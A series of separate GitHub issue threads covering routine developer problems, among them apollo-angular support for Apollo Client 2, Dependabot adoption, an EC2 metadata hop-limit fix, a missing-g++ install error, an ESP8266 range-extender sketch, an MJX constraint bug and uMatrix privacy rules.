Support for Apollo-Client 2

Hey!
what's the plans on supporting the new apollo client?
at the moment the only breaking change i've found was that apollo client changed to use default import instead of named import, but i cannot really confirm this is the only issue

Considering that one of the main features for the new 2.0 client is the decoupling of the store apis and being ngrx the main store platform for angular... Can we expect some built in integration inside this project?

@kamilkisiela @Urigo @jbaxleyiii @stubailo ?

I'll take a look at it soon,I'm just not yet familiar with all those new things, whole ecosystem of packages. Give me couple of days to come up with something. Maybe would it be a great chance to change the point of view on the current implementation. Will see.

Well since its observable based now there are alot of code that can be refactored and removed from here but i think first step is to compile it vs alpha (or beta already) version and have a working release (only requires compile and publish vs latest client)

I'm not sure but I think with the introduction of Apollo Link, this library can use angular's native http module (HttpClient).

I'm looking forward to trying apollo-client@beta with Angular, +1

Any updates on this? Looking forward to implement the 2.0 apollo client :)

it's already working (Angular-Client@beta + latest apolo-angular)
however, i think this library needs a huge refactor to really support it properly and not just "work".

@DxCx Yes and that's what I'm going to do in two weeks.

@kamilkisiela Do you mind writing a short plan on what is going to change, maybe the community can contribute ideas before implementing anything

Does anyone have a working example if Apollo Client 2.0 in Angular 4 yet? Preferably with ngrx...

@DxCx How did you get angular client @beta + latest apollo angular to work? I'm getting type errors...
ERROR in /Users/[user]/Projects/MyProject/Dev/proj/node_modules/apollo-client-rxjs/RxApolloClient.d.ts (2,45): Generic type 'ApolloClient<TCacheShape>' requires 1 type argument(s).
ERROR in /Users/[user]/Projects/MyProject/Dev/proj/node_modules/apollo-client-rxjs/rxify.d.ts (5,51): Generic type 'ApolloClient<TCacheShape>' requires 1 type argument(s).
ERROR in /Users/[user]/Projects/MyProject/Dev/proj/node_modules/apollo-angular/build/src/types.d.ts (3,21): Generic type 'ApolloClient<TCacheShape>' requires 1 type argument(s).
ERROR in /Users/[user]/Projects/MyProject/Dev/proj/node_modules/apollo-angular/build/src/types.d.ts (5,43): Generic type 'ApolloClient<TCacheShape>' requires 1 type argument(s).
ERROR in /Users/[user]/Projects/MyProject/Dev/proj/node_modules/apollo-angular/build/src/Apollo.d.ts (2,100): Module '"/Users/[user]/Projects/MyProject/Dev/proj/node_modules/apollo-client/index"' has no exported member 'ApolloExecutionResult'.
ERROR in /Users/[user]/Projects/MyProject/Dev/proj/node_modules/apollo-angular/build/src/Apollo.d.ts (11,25): Generic type 'ApolloClient<TCacheShape>' requires 1 type argument(s).
ERROR in /Users/[user]/Projects/MyProject/Dev/proj/node_modules/apollo-angular/build/src/Apollo.d.ts (16,18): Generic type 'ApolloClient<TCacheShape>' requires 1 type argument(s).

package.json:
    "apollo-angular": "^0.13.1",
    "apollo-cache-inmemory": "^0.2.0-beta.0",
    "apollo-client": "^2.0.0-beta.0",
    "apollo-link": "^0.6.1-beta.0",

client.ts:

import ApolloClient from 'apollo-client';
import { default as InMemoryCache, NormalizedCache } from 'apollo-cache-inmemory'
let client: ApolloClient<NormalizedCache>;

export function provideClient(): ApolloClient<NormalizedCache> {
  if ( !client ) {
    client = new ApolloClient<NormalizedCache>({
      link: // >>>>> (provide a link),
      cache: new InMemoryCache().restore(window['__APOLLO_STATE__'] || {}),
    });
  }

  return client;
}

app.module.ts:
import { provideClient } from './client';
import { ApolloModule } from 'apollo-angular';

@NgModule({
  imports: [
    ApolloModule.withClient(provideClient),
    ....
  ],
  ....
})
export class AppModule {}

@DxCx Still no go for me 😪
ERROR in /Users/[user]/Projects/Proj/Dev/proj/src/app/core/apollo/apollo.module.ts (32,31): Argument of type '{ link: ApolloLink; cache: InMemoryCache; }' is not assignable to parameter of type '{ link: ApolloLink; cache: ApolloCache<NormalizedCache>; ssrMode?: boolean; ssrForceFetchDelay?: ...'.
  Types of property 'link' are incompatible.
    Type 'ApolloLink' is not assignable to type 'ApolloLink'. Two different types with this name exist, but they are unrelated.
      Types of property 'split' are incompatible.
        Type '(test: (op: Operation) => boolean, left: ApolloLink | RequestHandler, right?: ApolloLink | Reques...' is not assignable to type '(test: (op: Operation) => boolean, left: ApolloLink | RequestHandler, right?: ApolloLink | Reques...'. Two different types with this name exist, but they are unrelated.
          Types of parameters 'left' and 'left' are incompatible.
            Type 'ApolloLink | RequestHandler' is not assignable to type 'ApolloLink | RequestHandler'. Two different types with this name exist, but they are unrelated.
              Type 'ApolloLink' is not assignable to type 'ApolloLink | RequestHandler'.
                Type 'ApolloLink' is not assignable to type 'RequestHandler'.
                  Type 'ApolloLink' provides no match for the signature '(operation: Operation, forward?: NextLink): Observable<any>'.
ERROR in /Users/[user]/Projects/Proj/Dev/proj/node_modules/apollo-client-rxjs/RxApolloClient.d.ts (2,45): Generic type 'ApolloClient<TCacheShape>' requires 1 type argument(s).
ERROR in /Users/[user]/Projects/Proj/Dev/proj/node_modules/apollo-client-rxjs/rxify.d.ts (5,51): Generic type 'ApolloClient<TCacheShape>' requires 1 type argument(s).
ERROR in /Users/[user]/Projects/Proj/Dev/proj/node_modules/apollo-angular/build/src/types.d.ts (3,21): Generic type 'ApolloClient<TCacheShape>' requires 1 type argument(s).
ERROR in /Users/[user]/Projects/Proj/Dev/proj/node_modules/apollo-angular/build/src/types.d.ts (5,43): Generic type 'ApolloClient<TCacheShape>' requires 1 type argument(s).
ERROR in /Users/[user]/Projects/Proj/Dev/proj/node_modules/apollo-angular/build/src/Apollo.d.ts (2,100): Module '"/Users/[user]/Projects/Proj/Dev/proj/node_modules/apollo-client/index"' has no exported member 'ApolloExecutionResult'.
ERROR in /Users/[user]/Projects/Proj/Dev/proj/node_modules/apollo-angular/build/src/Apollo.d.ts (11,25): Generic type 'ApolloClient<TCacheShape>' requires 1 type argument(s).
ERROR in /Users/[user]/Projects/Proj/Dev/proj/node_modules/apollo-angular/build/src/Apollo.d.ts (16,18): Generic type 'ApolloClient<TCacheShape>' requires 1 type argument(s).

hmm, i would first try downgrading packages to the one worked for me, i haven't tried with latest yet.
if not looks like some later change broke it again, @kamilkisiela how is it going with offical support?

@DxCx Fantastic news! Expect it to be done in next few days! :) :tada:
Supper pumped about the possibilities the next version will bring!!! :bomb:
Stay tuned!

@kamilkisiela Don't hype me up too much. I'm expecting this to be done by Sat then!
I look forward to the good new =)

Ok, we have it!
#377 - it's a preview of v1.0, looking forward to hear your thoughts about it

Thanks for mentioning me and informing me of this awesome project lol 😆

Hi, I'm using Apollo angular with ngrx and using ngrx effects for graphql queries. is this the right approach?

@akshath4u probably not the right place to ask this question. I put my apollo angular code in services, and call the services in the effects.


JAVA 8 for 2.5.0-rc1

How can I build 2.5.0-rc1 using jdk 8?

Last version that supports building using jdk 8 is 2.4.x
Going forward 2.5.x and up requires java 11


Suggestion / request: use Dependabot to keep dependencies up-to-date

First of all, thanks for alonetone!
I've got a suggestion / request: would you be up for using Dependabot to automatically create dependency update PRs? I ran it against my fork and it generated these PRs. I'll port the paperclip one across to this repo now.
I built Dependabot, but I'm honestly only suggesting it because I hope it can save you some time. I'd love any feedback, and obviously having open source repos using Dependabot helps boost its profile, but if it's not helpful to you then it's not really worth anything.
You can install it from here or here if you decide to give it a try. It's been through GitHub's security testing (to be allowed in the GitHub Marketplace) and is used by a few thousand organisations, and the source code is here.
:octocat:

Howdy!
We are using dependabot on a client project and it's quite useful there since they need help updating their deps! Alonetone does a pretty good job of updating deps somewhat regularly since it's a smaller project that I feel "safe" doing a bundle update on, but it might be fun to use here and would be nice to help out.
My only concern might be that PRs not being merged quickly become "noise" — for example on #208, I have about 25 priorities before it's time to look at paperclip again (a deprecated gem) — but it looks like you have nice tooling with @dependabot ignore, so maybe it'll be easy to manage?

Hey!
Yeah, @dependabot ignore feels like the way to go on paperclip - sorry for picking such a bad example!
Awesome to hear you're using Dependabot elsewhere! You'd totally be helping me out by running it on this repo - the CI runs help improve the quality of its compatibility scores, and since we now link to CI runs that failed it's super valuable to Dependabot to have well tested projects like alonetone using it. Plan is to start feeding back failures to maintainers, with links to the PRs that are failing, so that they can fix bugs in their libraries.

Sounds great. Not sure I'd call alonetone too well tested, but I'm more than happy to help.
I think I actually installed it on alonetone before. I love the auto-merge thing.
Two last questions for you:

If i manually bump and push, do the PRs know to close themselves, or will I then have to manually close?

Can I run it on my package.json as well as my Gemfile? I actually struggle more with knowing and updating my js dependencies, in part because the tooling/philosophy isn't as nice as bundler (bundle update is a pretty nice shotgun blast to get everything up to date)

Yes and yes! The PRs will figure out that they need to close themselves (it takes them a minute), and you can use Dependabot for JS, too - it'll handle updating the yarn.lock here just fine 🙂

@greysteil Awesome! Sounds like a great workflow. I've got it running but looks like it's only looking at Gemfile right now — is there a config option to have it handle the yarn lock too?

Nevermind, got it — "add project" did the trick!

Woah, that's a lot of initial PRs. If you want a hand with any of them just tag me.

Thanks! I guess I was wondering how to "bulk" rebase since I got master green again, so I triggered "bump now" on the website..

Ah, OK, that explains why there are so many! 🤦♂
They'll automatically rebase if/when they detect that there are any conflicts, so if you merge some of the recent batch the old ones will probably start rebasing.

Only other mild "spammy" thing is that the github notifications on bump/CI/merge are quite intense in slack! But I think it'll just be this initial wave and it'll then be pleasant and useful!

Yeah, I figured they might rebase at some point, but I got impatient :D

@greysteil Loving dependabot on alonetone. It's turned updating deps into a nice game. I really appreciate the easily accessible changelog and link to the diff. It's all very well thought through and saves me time while making me feel a bit more informed about dependency bumping.
Only minor annoyance is that it's responsible for 75% of the noise in our #commits room 😆

Haha, that’s great to hear! 😀

@greysteil Hey, had a quick question for you. I'm quite happy with dependabot but  between js and ruby deps, merging dependabot PRs has turned into a daily whack-a-mole of dependency inbox 0 :)
It's quite noisy in our #commits channel (I can't seem to filter them out via github's slack integration, which is maybe the root problem) — Do you know if others have solved the notification issue at all? I'm sorta loathe to move to a weekly frequency, but if I can't filter notifications I might do that for a while so we get a bit more breathing room...


fix(v2): refactor routes.ts + add route hash for chunkNames key

Motivation
See #2917
Fix potential weird merge behavior when a parent route and its child has the exact same path.
addRoute({
  path: "/docs", // <===
  exact: false,
  component: DocPage,
  routes: [
    {
      path: "/docs", // <===
      exact: true,
      component: DocItem
    }
  ]
});

To avoid potential conflicts, smallHash(route) is added at the end of the chunknames key.
Also refactors the routes.ts file by splitting a bit the logic and trying to make it more readable than before (inline code generation strings do not help for readability)
Have you read the Contributing Guidelines on pull requests?
Yes
Test Plan
tests + preview

ready to review


Sometimes does not fall-back to IMDSv1 when using EC2 Instance Profiles

Spoiler:
I fixed this by setting the AWS value for HttpPutResponseHopLimit to 2. This allows the AWS SDK to use IMDSv2 inside a docker container on an EC2 machine.
Fixes:

It would be great if there was clearer error logging for this issue in libdns/route53, I took a very long time to figure out what was going wrong when reading the messages below.
Perhaps some documentation could be added

I don't know enough about this issue to say that my change is the only way to fix this

Details:
I was running into failures when using route53 via caddy-dns/route53 inside a docker container on an EC2 node with an IAM role attached to the EC2 machine. Note, I was using staging Let's Encrypt, but I don't think that's relevant.
IMDSv1 and IMDSv2 were both enabled for the EC2 machine.
I'm still not sure why I ran into this issue just now, I had a machine on a different AWS account run the same code without issues.
But I had run into issues in the past where using tools which had updated to newer versions of the AWS SDK for Go were failing until either IMDSv2 was disabled or an additional hop was allowed, so I had an idea of how to try to fix something here.
Versions:
Caddy: 2.6.4
caddy-dns/route53: v1.3.2
/libdns/route53: v1.3.2
The failing logs:
The two relevant sections I see are could not determine zone for domain and  unexpected response code 'SERVFAIL'
{"level":"error","ts":1684773178.4666998,"logger":"http.acme_client","msg":"cleaning up solver","identifier":"example.com","challenge_type":"dns-01","error":"no memory of presenting a DNS record for \"_acme-challenge.example.com\" (usually OK if presenting also failed)"}
{"level":"error","ts":1684773178.5130796,"logger":"tls.obtain","msg":"could not get certificate from issuer","identifier":"example.com","issuer":"acme-staging-v02.api.letsencrypt.org-directory","error":"[example.com] solving challenges: presenting for challenge: could not determine zone for domain \"_acme-challenge.example.com\": unexpected response code 'SERVFAIL' for _acme-challenge.example.com. (order=https://acme-staging-v02.api.letsencrypt.org/acme/order/REDACTED/REDACTED) (ca=https://acme-staging-v02.api.letsencrypt.org/directory)"}
{"level":"error","ts":1684773178.5131493,"logger":"tls.obtain","msg":"will retry","error":"[example.com] Obtain: [example.com] solving challenges: presenting for challenge: could not determine zone for domain \"_acme-challenge.example.com\": unexpected response code 'SERVFAIL' for _acme-challenge.example.com. (order=https://acme-staging-v02.api.letsencrypt.org/acme/order/REDACTED/REDACTED) (ca=https://acme-staging-v02.api.letsencrypt.org/directory)","attempt":26,"retrying_in":21600,"elapsed":324020.948514926,"max_duration":2592000}

Full fix with Terraform:
My full fix since I was using Terraform was to set the following block in my aws_instance:
  metadata_options {
    http_put_response_hop_limit = 2
    http_endpoint = "enabled"
  }

Stumbled on this issue while trying dns validations from Caddy and was seeing them to be failing. In my case the error was as below.
failed to sign request: failed to retrieve credentials: failed to refresh cached credentials, no EC2 IMDS role found, operation error ec2imds: GetMetadata, canceled, context deadline exceeded

This did take my whole server down. Thanks for the workaround.


Installing problem

Hi I am having trouble installing lap using pip or from source.
the pre-requirements are met.
The error information is as below
Collecting lap
Using cached lap-0.4.0.tar.gz (1.5 MB)
Building wheels for collected packages: lap
Building wheel for lap (setup.py) ... error
ERROR: Command errored out with exit status 1:
command: /home/chengzhi/anaconda3/bin/python -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-evg25__1/lap/setup.py'"'"'; file='"'"'/tmp/pip-install-evg25__1/lap/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(file);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, file, '"'"'exec'"'"'))' bdist_wheel -d /tmp/pip-wheel-pr1ft8os
cwd: /tmp/pip-install-evg25__1/lap/
Complete output (34 lines):
Partial import of lap during the build process.
Generating cython files
running bdist_wheel
running build
running config_cc
unifing config_cc, config, build_clib, build_ext, build commands --compiler options
running config_fc
unifing config_fc, config, build_clib, build_ext, build commands --fcompiler options
running build_src
build_src
building extension "lap._lapjv" sources
building data_files sources
build_src: building npy-pkg config files
running build_py
creating build
creating build/lib.linux-x86_64-3.7
creating build/lib.linux-x86_64-3.7/lap
copying lap/lapmod.py -> build/lib.linux-x86_64-3.7/lap
copying lap/init.py -> build/lib.linux-x86_64-3.7/lap
running build_ext
customize UnixCCompiler
customize UnixCCompiler using build_ext
customize UnixCCompiler
customize UnixCCompiler using build_ext
building 'lap._lapjv' extension
compiling C++ sources
C compiler: g++ -pthread -B /home/chengzhi/anaconda3/compiler_compat -Wl,--sysroot=/ -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC
creating build/temp.linux-x86_64-3.7/lap
compile options: '-I/home/chengzhi/anaconda3/lib/python3.7/site-packages/numpy/core/include -Ilap -I/home/chengzhi/anaconda3/lib/python3.7/site-packages/numpy/core/include -I/home/chengzhi/anaconda3/include/python3.7m -c'
g++: lap/_lapjv.cppg++: lap/lapjv.cpp
g++: lap/lapmod.cpp
error: Command "g++ -pthread -B /home/chengzhi/anaconda3/compiler_compat -Wl,--sysroot=/ -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -I/home/chengzhi/anaconda3/lib/python3.7/site-packages/numpy/core/include -Ilap -I/home/chengzhi/anaconda3/lib/python3.7/site-packages/numpy/core/include -I/home/chengzhi/anaconda3/include/python3.7m -c lap/lapjv.cpp -o build/temp.linux-x86_64-3.7/lap/lapjv.o -MMD -MF build/temp.linux-x86_64-3.7/lap/lapjv.o.d" failed with exit status 127
ERROR: Failed building wheel for lap
Running setup.py clean for lap
Failed to build lap
Installing collected packages: lap
Running setup.py install for lap ... error
ERROR: Command errored out with exit status 1:
command: /home/chengzhi/anaconda3/bin/python -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-evg25__1/lap/setup.py'"'"'; file='"'"'/tmp/pip-install-evg25__1/lap/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(file);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, file, '"'"'exec'"'"'))' install --record /tmp/pip-record-g_0rafgk/install-record.txt --single-version-externally-managed --compile --install-headers /home/chengzhi/anaconda3/include/python3.7m/lap
cwd: /tmp/pip-install-evg25__1/lap/
Complete output (34 lines):
Partial import of lap during the build process.
Generating cython files
running install
running build
running config_cc
unifing config_cc, config, build_clib, build_ext, build commands --compiler options
running config_fc
unifing config_fc, config, build_clib, build_ext, build commands --fcompiler options
running build_src
build_src
building extension "lap._lapjv" sources
building data_files sources
build_src: building npy-pkg config files
running build_py
creating build
creating build/lib.linux-x86_64-3.7
creating build/lib.linux-x86_64-3.7/lap
copying lap/lapmod.py -> build/lib.linux-x86_64-3.7/lap
copying lap/init.py -> build/lib.linux-x86_64-3.7/lap
running build_ext
customize UnixCCompiler
customize UnixCCompiler using build_ext
customize UnixCCompiler
customize UnixCCompiler using build_ext
building 'lap._lapjv' extension
compiling C++ sources
C compiler: g++ -pthread -B /home/chengzhi/anaconda3/compiler_compat -Wl,--sysroot=/ -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC
creating build/temp.linux-x86_64-3.7/lap
compile options: '-I/home/chengzhi/anaconda3/lib/python3.7/site-packages/numpy/core/include -Ilap -I/home/chengzhi/anaconda3/lib/python3.7/site-packages/numpy/core/include -I/home/chengzhi/anaconda3/include/python3.7m -c'
g++: lap/_lapjv.cppg++: lap/lapjv.cpp
g++: lap/lapmod.cpp

error: Command "g++ -pthread -B /home/chengzhi/anaconda3/compiler_compat -Wl,--sysroot=/ -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -I/home/chengzhi/anaconda3/lib/python3.7/site-packages/numpy/core/include -Ilap -I/home/chengzhi/anaconda3/lib/python3.7/site-packages/numpy/core/include -I/home/chengzhi/anaconda3/include/python3.7m -c lap/lapmod.cpp -o build/temp.linux-x86_64-3.7/lap/lapmod.o -MMD -MF build/temp.linux-x86_64-3.7/lap/lapmod.o.d" failed with exit status 127
----------------------------------------

ERROR: Command errored out with exit status 1: /home/chengzhi/anaconda3/bin/python -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-evg25__1/lap/setup.py'"'"'; file='"'"'/tmp/pip-install-evg25__1/lap/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(file);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, file, '"'"'exec'"'"'))' install --record /tmp/pip-record-g_0rafgk/install-record.txt --single-version-externally-managed --compile --install-headers /home/chengzhi/anaconda3/include/python3.7m/lap Check the logs for full command output.

When Installing from source, the error information is
Partial import of lap during the build process.
Generating cython files
/home/chengzhi/anaconda3/lib/python3.7/site-packages/Cython/Compiler/Main.py:369: FutureWarning: Cython directive 'language_level' not set, using 2 for now (Py2). This will change in a later release! File: /home/chengzhi/Games/MOT_GAME/FairMOT/lap-master/lap/_lapjv.pyx
tree = Parsing.p_module(s, pxd, full_module_name)
running build
running config_cc
unifing config_cc, config, build_clib, build_ext, build commands --compiler options
running config_fc
unifing config_fc, config, build_clib, build_ext, build commands --fcompiler options
running build_src
build_src
building extension "lap._lapjv" sources
building data_files sources
build_src: building npy-pkg config files
running build_py
creating build
creating build/lib.linux-x86_64-3.7
creating build/lib.linux-x86_64-3.7/lap
copying lap/init.py -> build/lib.linux-x86_64-3.7/lap
copying lap/lapmod.py -> build/lib.linux-x86_64-3.7/lap
running build_ext
customize UnixCCompiler
customize UnixCCompiler using build_ext
customize UnixCCompiler
customize UnixCCompiler using build_ext
building 'lap._lapjv' extension
compiling C++ sources
C compiler: g++ -pthread -B /home/chengzhi/anaconda3/compiler_compat -Wl,--sysroot=/ -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC
creating build/temp.linux-x86_64-3.7/lap
compile options: '-I/home/chengzhi/anaconda3/lib/python3.7/site-packages/numpy/core/include -Ilap -I/home/chengzhi/anaconda3/lib/python3.7/site-packages/numpy/core/include -I/home/chengzhi/anaconda3/include/python3.7m -c'
g++: lap/_lapjv.cpp
g++: lap/lapjv.cpp
g++: lap/lapmod.cpp
error: Command "g++ -pthread -B /home/chengzhi/anaconda3/compiler_compat -Wl,--sysroot=/ -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -I/home/chengzhi/anaconda3/lib/python3.7/site-packages/numpy/core/include -Ilap -I/home/chengzhi/anaconda3/lib/python3.7/site-packages/numpy/core/include -I/home/chengzhi/anaconda3/include/python3.7m -c lap/_lapjv.cpp -o build/temp.linux-x86_64-3.7/lap/_lapjv.o -MMD -MF build/temp.linux-x86_64-3.7/lap/_lapjv.o.d" failed with exit status 127

您好，请问这个问题解决了嘛？Have you solved the problem？Thanks!!!

Hello, have you solved it? I met with similar problems :(

@vickyliuliu you can try this in conda environment: conda install -c conda-forge lap

Also would like to know if this is resolved.  I'm am getting the same issue on RHEL 7.8.

@mphillips-valleyit Can you run g++ --version and paste it here?

@gatagat Thanks for responding.  Actually I didn't have g++ installed!  (Just gcc.) After installing that, pip install lap works although pip install lapsolver does not--but that's a separate issue I guess.

@mphillips-valleyit Glad it worked and thanks for reporting back. And yes, this repo has nothing to do with lapsolver.

@vickyliuliu you can try this in conda environment: conda install -c conda-forge lap

very helpfull thanks alot!

@gatagat  following your procedures had it solved
-sudo apt install g++
-pip install lap


Deploy the app

User Stories

As a user, I want to be able to visit the app on a public URL

Done and done.


After Flash Wemos mini D1 => no Accespoint found

Hi,
I tried your app as repeater with a Wemos mini D1.
Flashing works fine, but after flash is finished and reset of the chip no SSID "MyApp" is found.
Is this a known issue?

I have the exact same issue with an ESP-01. Flashing shows no errors but there it no Access Point called MyApp...

@l3ifk no Found no solution.
I used the sketch „ range extender“ from the Arduino IDE examples.

Thank you for your quick reply. Where exactly can I find the example code. I looked at all the ESP examples and did not find a range extender example...

Sorry for the late reply.
Normally under the examples under wifi for the esp8266 wifi.

@l3ifk no Found no solution.
I used the sketch „ range extender“ from the Arduino IDE examples.

Thanks for the trick !
I should add that I then had to solve a “limited connection” issue. With an easy soluce here  (windows) : https://www.youtube.com/watch?v=uDj7a5JH1E4
and the whole works like a charm

@simontpellier
what trick?
I did not get to work…

@simontpellier the video is only in french did not understand whats going on there.

...the trick? instead of Martin's binaries, to use the “RangeExtender-NAPT” sketch as given in the examples.
My config:
W10
Arduino 1.8.19
board "LOLIN(WEMOS) D1 mini Pro" ( https://fr.aliexpress.com/item/1005005933528007.html?spm=a2g0o.order_list.order_list_main.106.2dd45e5bapEqTe&gatewayAdapt=glo2fra )
The sketch:
_#if LWIP_FEATURES && !LWIP_IPV6
#define HAVE_NETDUMP 0
#ifndef STASSID
#define STASSID "mynetwork"
#define STAPSK "mynetworkpassword"
#endif
#include <ESP8266WiFi.h>
#include <lwip/napt.h>
#include <lwip/dns.h>
#define NAPT 1000
#define NAPT_PORT 10
#if HAVE_NETDUMP
#include <NetDump.h>
void dump(int netif_idx, const char* data, size_t len, int out, int success) {
(void)success;
Serial.print(out ? F("out ") : F(" in "));
Serial.printf("%d ", netif_idx);
// optional filter example: if (netDump_is_ARP(data))
{
netDump(Serial, data, len);
// netDumpHex(Serial, data, len);
}
}
#endif
void setup() {
Serial.begin(115200);
Serial.printf("\n\nNAPT Range extender\n");
Serial.printf("Heap on start: %d\n", ESP.getFreeHeap());
#if HAVE_NETDUMP
phy_capture = dump;
#endif
// first, connect to STA so we can get a proper local DNS server
WiFi.mode(WIFI_STA);
WiFi.begin(STASSID, STAPSK);
while (WiFi.status() != WL_CONNECTED) {
Serial.print('.');
delay(500);
}
Serial.printf("\nSTA: %s (dns: %s / %s)\n", WiFi.localIP().toString().c_str(), WiFi.dnsIP(0).toString().c_str(), WiFi.dnsIP(1).toString().c_str());
// By default, DNS option will point to the interface IP
// Instead, point it to the real DNS server.
// Notice that:
// - DhcpServer class only supports IPv4
// - Only a single IP can be set
auto& server = WiFi.softAPDhcpServer();
server.setDns(WiFi.dnsIP(0));
WiFi.softAPConfig(  // enable AP, with android-compatible google domain
IPAddress(172, 217, 28, 254), IPAddress(172, 217, 28, 254), IPAddress(255, 255, 255, 0));
WiFi.softAP(STASSID "extender", STAPSK);
Serial.printf("AP: %s\n", WiFi.softAPIP().toString().c_str());
Serial.printf("Heap before: %d\n", ESP.getFreeHeap());
err_t ret = ip_napt_init(NAPT, NAPT_PORT);
Serial.printf("ip_napt_init(%d,%d): ret=%d (OK=%d)\n", NAPT, NAPT_PORT, (int)ret, (int)ERR_OK);
if (ret == ERR_OK) {
ret = ip_napt_enable_no(SOFTAP_IF, 1);
Serial.printf("ip_napt_enable_no(SOFTAP_IF): ret=%d (OK=%d)\n", (int)ret, (int)ERR_OK);
if (ret == ERR_OK) { Serial.printf("WiFi Network '%s' with same password is now NATed behind '%s'\n", STASSID "extender", STASSID); }
}
Serial.printf("Heap after napt init: %d\n", ESP.getFreeHeap());
if (ret != ERR_OK) { Serial.printf("NAPT initialization failed\n"); }
}
#else
void setup() {
Serial.begin(115200);
Serial.printf("\n\nNAPT not supported in this configuration\n");
}
#endif
void loop() {}_

got it
😊

@simontpellier
What speeds do you get with the extender? I just tried the code and it works great but I only use a ESP 8266 01 module and I get maximum speeds of 2,5mbit/s while I get >400mbit/s with my regular wifi.
I know that it's just an ESP but I wondered if your board did better there

here the results for me (DLS... not fiber !) regular vs extended (with external antenna)

better (thank for the idea !), with an ESP Wroom 32 WITHOUT external antenna
(and other code (bin) : https://github.com/dchristl/esp32_nat_router_extended


Support null terminated string types

https://docs.python.org/3/library/ctypes.html#ctypes.c_char_p
https://docs.python.org/3/library/ctypes.html#ctypes.c_wchar_p
memflow already supports reading null terminated strings. Only on UTF-8 encoded strings, however. We will need our own for c_wchar_p.

Preliminary support added with: https://github.com/memflow/memflow-py/commit/e76e46e050a9d333227897dd7add41513da98b92. Once we move to deduplicate our memory read/write functions, broad support for these null terminated string readers will be added.


MJX does not keep equality constraints

Hi,
I'm trying to use MuJoCo (MJX) to simulate a humanoid bipedal robot with several closed linkages. I am using MJX inside BRAX and when I visualize some seconds of trajectory I clearly see that the equality constraints that I put inside the model are not kept. These constraints normally work using "normal" MUJOCO.
I am using the default settings for MjModel:
mj_model.opt.solver = mujoco.mjtSolver.mjSOL_NEWTON
mj_model.opt.iterations = 100
mj_model.opt.ls_iterations = 50

notice that I have 32 equality constraints in my model (for most of them solref = "0.005 1").
Thank you for your help!

Can you please attach a minimal model that reproduces this issue?

Thank you for the prompt reply. I am following the tutorial here and I changed the model from the humanoid to my robot. I also have commented out the following lines of code:
mj_model.opt.solver = mujoco.mjtSolver.mjSOL_CG
mj_model.opt.iterations = 6
mj_model.opt.ls_iterations = 6
I check the output from the "# grab a trajectory" part of the tutorial. I thought it was related with the different settings of the solver so I tried to put the default values as well (the ones in the previous post), but I am still having this issue.
The model of the robot is quite complex, I will try to prepare a smaller version with less constraints and see if the error remains.

@sck-robot thank you for your example. I was planning to do something similar next week but you anticipated me :)

🙄

echoing a similar closed-loop violations seen in an existing model from mujoco_menagerie. an earlier thread #1129 includes the example code that we tried as well.

Hi all - confirming that I can repro this on my end using the model provided by @sck-robot.  Will report back soon with a fix.

OK, this is fixed as of 67fa7c1dc21b535b9b5f906830f5ebf81dbf4d7e which will be available in MuJoCo 3.0.2.  In the meantime, I can explain the bug if you would like to fix it in your user code and still use 3.0.1:
MJX is incorrectly setting d.ne to 0 mjx.device_put and is then ignoring equality constraints during the step.  For the time being, you can fix this by using mjx.make_data to initialize mjx.Data instead of mjx.device_put.  So in your example @sck-robot make the following change:
79c79
<     mjx_data = mjx.forward(mjx_model, mjx_data)
---
>     mjx_data = mjx.make_data(mjx_model)

In MuJoCo 3.0.2 we will offer some new functions for placing data on device: mjx.put_data and mjx.put_model that work better in these scenarios.

I was able to fix my script as well. It is based on the mujoco_mjx environment for Brax example. It was just needed to apply the suggestion of @erikfrey inside the pipeline_init function.

@erikfrey Thank you for taking care of this! The closed loop in robot model is able to work properly with compiled version of commit https://github.com/google-deepmind/mujoco/commit/67fa7c1dc21b535b9b5f906830f5ebf81dbf4d7e.


Wiki uBlock/uMatrix confusion

Hi, first time making an issue here. People seem to be using this place to ask some questions so I thought I might as well. (Forgive me if I'm mistaken)
Currently, I feel like the following pages
https://github.com/ghacksuserjs/ghacks-user.js/wiki/4.2.2-uBlock-Origin
https://github.com/ghacksuserjs/ghacks-user.js/wiki/4.2.3-uMatrix
are kind of confusing.
Under the assumption that one is using uMatrix, is there any point in making uBlock-Origin Hard Mode?
I read some articles stating how dynamic filtering is essentially redundant with uMatrix. And the only thing it says to do is to turn the "Block remote fonts" on. Am I correct to assume that this means rules such as "Prevent WebRTC" is already redundant with user.js?
Also, about this rule:

* 127       * block    ### block access to IPv4 localhost 127.x.x.x
* localhost * block
* [::1]     * block    ### block access to IPv6 localhost
* 192.168   * block    ### block access to LAN 192.168.x.x

Does this mean theses rules are recommend? Or is this merely an example of what people can do with uMatrix?
The wiki also states on the uBlock Origin page:

Best practice is to default deny-all, then whitelist.

If that's the case, shouldn't there be a guide on how to turn on what is essentially Nightmare Mode in uMatrix? (Although maybe it's not there due to the ease in merely changing global rules)
And finally, I use three other extensions, CookieAutoDelete, Decentraleyes, and HTTPS Everywhere. (list of extensions taken from this site called privacytools.io. I dropped NoScript and Privacy Badger as they seemed useless)
As for CookieAutoDelete, is there a point in using it if I set the "Delete non-blocked cookies" to "NaN" in uMatrix? (Aside from the fact that CookieAutoDelete can whitelist cookies to delete/not delete, and also delete cookies being used, if it wishes to.)
As for using Decentraleyes, is there a point in adding the following rules?

* ajax.googleapis.com * noop
* ajax.aspnetcdn.com * noop
* ajax.microsoft.com * noop
* cdnjs.cloudflare.com * noop
* code.jquery.com * noop
* cdn.jsdelivr.net * noop
* yastatic.net * noop
* yandex.st * noop
* apps.bdimg.com * noop
